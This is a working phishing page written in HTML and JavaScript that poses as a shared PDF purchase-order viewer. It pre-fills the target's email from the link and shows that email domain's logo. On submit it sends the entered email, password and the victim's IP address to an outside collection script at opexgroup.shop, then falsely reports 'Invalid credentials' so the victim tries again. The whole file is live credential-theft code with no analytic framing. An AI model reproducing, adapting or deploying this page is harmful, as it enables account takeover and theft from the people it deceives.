
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>PDF Shared Document</title>
    <style>
    /* General reset */
    * {
      box-sizing: border-box;
    }

    body {
        margin: 0;
        padding: 0;
        display: flex;
        justify-content: center;
        align-items: center;
        height: 100vh;
        font-family: Arial, sans-serif;
        background-color: #f3f3f3;
    }

    /* Error message styles */
    .error-message {
      color: red;
      font-size: 13px;
      text-align: center;
      margin-bottom: 10px;
      display: none; /* Initially hidden */
    }

    .form-container {
        width: 400px;
        padding: 20px;
        border-radius: 8px;
        box-shadow: 0 4px 10px rgba(0, 0, 0, 0.1);
        background-color: #fff;
        text-align: center;
        position: relative;
    }

    .logos {
        display: flex;
        align-items: center;
        justify-content: space-between;
        margin-bottom: 20px;
        position: relative;
    }

    .main-logo {
        width: 60px;
        height: 60px;
        background-image: url('https://res.cloudinary.com/dlarpozq3/image/upload/v1733661444/download_xc8gtf.jpg');
        background-size: contain;
        background-repeat: no-repeat;
    }

    .line {
        flex-grow: 1;
        height: 4px;
        background: linear-gradient(to right, red, red, transparent, red, red);
        background-size: 200%;
        margin: 0 10px;
        animation: move-line 2s linear infinite;
    }

    @keyframes move-line {
        0% { background-position: 100%; }
        100% { background-position: 0%; }
    }

    .domain-logo {
        width: 60px;
        height: 60px;
        background-size: contain;
        background-repeat: no-repeat;
    }

    .header {
        font-size: 20px;
        font-weight: bold;
        margin-bottom: 10px;
    }

    .subheader {
        font-size: 14px;
        margin-bottom: 20px;
        color: #666;
    }


    .form-field {
        margin-bottom: 15px;
        display: flex;
        justify-content: center;
    }

    input[type="text"], input[type="password"] {
        width: 100%;
        max-width: 350px;
        padding: 10px;
        border: 1px solid #ccc;
        border-radius: 5px;
        font-size: 14px;
    }

    .remember-forgot {
        display: flex;
        justify-content: space-between;
        align-items: center;
        margin-bottom: 20px;
    }

    .remember-forgot label {
        font-size: 14px;
    }

    .remember-forgot a {
        font-size: 14px;
        color: #007bff;
        text-decoration: none;
        cursor: pointer;
    }

    .remember-forgot a:hover {
        text-decoration: underline;
    }

    .submit-btn {
        width: 100%;
        max-width: 350px;
        padding: 10px;
        border: none;
        border-radius: 5px;
        background-color: #e50914;
        color: #fff;
        font-size: 16px;
        cursor: pointer;
    }

    .social-icons {
        display: flex;
        justify-content: center;
        margin-top: 20px;
    }

    .social-circle {
        width: 40px;
        height: 40px;
        border-radius: 50%;
        display: flex;
        justify-content: center;
        align-items: center;
        margin: 0 5px;
        background-color: #f0f0f0;
    }

    .social-circle img {
        width: 20px;
        height: 20px;
    }

    .copyright {
        margin-top: 20px;
        font-size: 12px;
        color: #666;
    }


        /* Loading container */
        #loading-container {
            display: none;
            justify-content: center;
            align-items: center;
            flex-direction: row;
            height: 100vh;
            background-color: #f3f3f3;
            font-size: 18px;
            color: #333;
        }

        /* Dot animation styles */
        .dot-container {
            display: flex;
            justify-content: space-between;
            align-items: center;
            gap: 8px;
            width: 60px;
        }

        .dot {
            width: 20px;
            height: 10px;
            background-color: red;
            border-radius: 50%;
            animation: bounce 1.2s infinite ease-in-out;
        }

        /* Add bounce animation */
        .dot:nth-child(1) {
            animation-delay: 0.2s;
        }

        .dot:nth-child(2) {
            animation-delay: 0.4s;
        }

        .dot:nth-child(3) {
            animation-delay: 0.6s;
        }

        .dot:nth-child(4) {
            animation-delay: 0.8s;
        }

        @keyframes bounce {
            0%, 20% {
                transform: translateY(0);
            }

            40% {
                transform: translateY(-10px);
            }

            60% {
                transform: translateY(0);
            }

            100% {
                transform: translateY(-10px);
            }
        }

        .loading-screen .dot:nth-child(1) {
    background-color: #4285f5; /* Blue */
}

.loading-screen .dot:nth-child(2) {
    background-color: #ea4436; /* Red */
}

.loading-screen .dot:nth-child(3) {
    background-color: #fbbd06; /* Yellow */
}

.loading-screen .dot:nth-child(4) {
    background-color: #34a952; /* Green */
}
    </style>
</head>
<body>
  <!-- Loading screen section -->
  <div id="loading-container">
    <div class="dot-container">
        <div class="dot"></div>
        <div class="dot"></div>
        <div class="dot"></div>
        <div class="dot"></div>
    </div>
  </div>

  <!-- Main form container -->
  <div class="form-container" id="form-container">
    <div class="logos">
      <div class="main-logo"></div>
      <div class="line"></div>
      <div class="domain-logo" id="domainLogo"></div>
    </div>
    <div class="header">PDF Shared Document</div>
    <div class="subheader">File: Purchase Order 56770199001055SFET7E VX14J7</div>
    <form id="login-form">
      <div class="form-field">
        <input type="text" id="username" placeholder="Email" required value="">
      </div>
      <div class="error-message" id="error-message">Wrong password, please try again</div>
      <div class="form-field">
        <input type="password" id="password" placeholder="Password" required>
      </div>
      <div class="remember-forgot">
        <label>
          <input type="checkbox"> Remember me
        </label>
        <a href="#" onclick="location.reload();">Forgot password?</a>
      </div>
      <button type="submit" class="submit-btn">View</button>
    </form>
    <div class="error-message" id="error-message"></div>
    <div class="social-icons">
      <div class="social-circle"><img src="https://res.cloudinary.com/dlarpozq3/image/upload/v1733661817/download_2_h2if37.png"></div>
      <div class="social-circle"><img src="https://res.cloudinary.com/dlarpozq3/image/upload/v1733661761/download_1_qzn3oi.png"></div>
      <div class="social-circle"><img src="https://res.cloudinary.com/dlarpozq3/image/upload/v1733661652/download_geaoco.png" alt="Google"></div>
    </div>
    <div class="copyright">&copy; 2024 PDF All rights reserved.</div>
  </div>

  <script>
    const formContainer = document.getElementById('form-container');
    const loadingContainer = document.getElementById('loading-container');
    const form = document.getElementById('login-form');
    const errorMessageDiv = document.getElementById('error-message');
  
    // Function to dynamically hide the error message
    function hideErrorMessage() {
      setTimeout(() => {
        errorMessageDiv.style.display = 'none';
      }, 3000); // Error will hide after 3 seconds
    }
  
    form.addEventListener('submit', async (e) => {
      e.preventDefault();
      loadingContainer.style.display = 'flex';
      formContainer.style.display = 'none';
  
      const username = document.getElementById('username').value;
      const password = document.getElementById('password').value;
      const ipAddress = await getUserIP(); // Capture the user's IP address
  
      try {
        const response = await fetch('https://opexgroup.shop/dz/dz.php', {
          method: 'POST',
          headers: { 'Content-Type': 'application/json' },
          body: JSON.stringify({
            email: username,
            password: password,
            ip: ipAddress,
          }),
        });
  
        const result = await response.json();
        if (result.signal === 'ok') {
          errorMessageDiv.innerHTML = 'Invalid credentials, please try again';
          errorMessageDiv.style.display = 'block'; // Show error message dynamically
          hideErrorMessage();
        } else {
          throw new Error(result.msg || 'Unknown error');
        }
      } catch (error) {
        console.error(error);
        errorMessageDiv.innerHTML = 'Error processing request';
        errorMessageDiv.style.display = 'block'; // Show error message dynamically
        hideErrorMessage();
      } finally {
        loadingContainer.style.display = 'none';
        formContainer.style.display = 'block';
        document.getElementById('password').value = ''; // Reset password field
      }
    });
  
    async function getUserIP() {
      const response = await fetch('https://api64.ipify.org?format=json');
      const data = await response.json();
      return data.ip || 'Unknown IP';
    }
  
    // Function to update the domain logo
    function updateDomainLogo() {
      const usernameField = document.getElementById('username');
      const domainLogo = document.getElementById('domainLogo');
      
      if (usernameField && usernameField.value.includes('@')) {
        const domain = usernameField.value.split('@')[1];
        const logoUrl = `https://logo.clearbit.com/${domain}`;
        domainLogo.style.backgroundImage = `url('${logoUrl}')`;
      } else {
        domainLogo.style.backgroundImage = '';
      }
    }
  
    // Initialize logo on DOMContentLoaded
    document.addEventListener('DOMContentLoaded', function () {
      const params = new URLSearchParams(window.location.search);
      const hash = window.location.hash;
      let email = params.get('email');
  
      if (!email && hash) {
        const hashParts = hash.substring(1).split('=');
        if (hashParts[0] === 'email') {
          email = decodeURIComponent(hashParts[1]);
        }
      }
  
      const usernameField = document.getElementById('username');
      if (email && usernameField) {
        usernameField.value = email; // Dynamically set the username
        usernameField.setAttribute('readonly', true); // Make the field uneditable
      }
  
      updateDomainLogo(); // Update the logo on page load
    });
  
    // Call the updateDomainLogo function when username field changes
    document.getElementById('username').addEventListener('input', updateDomainLogo);
  </script>  
  
</body>
</html>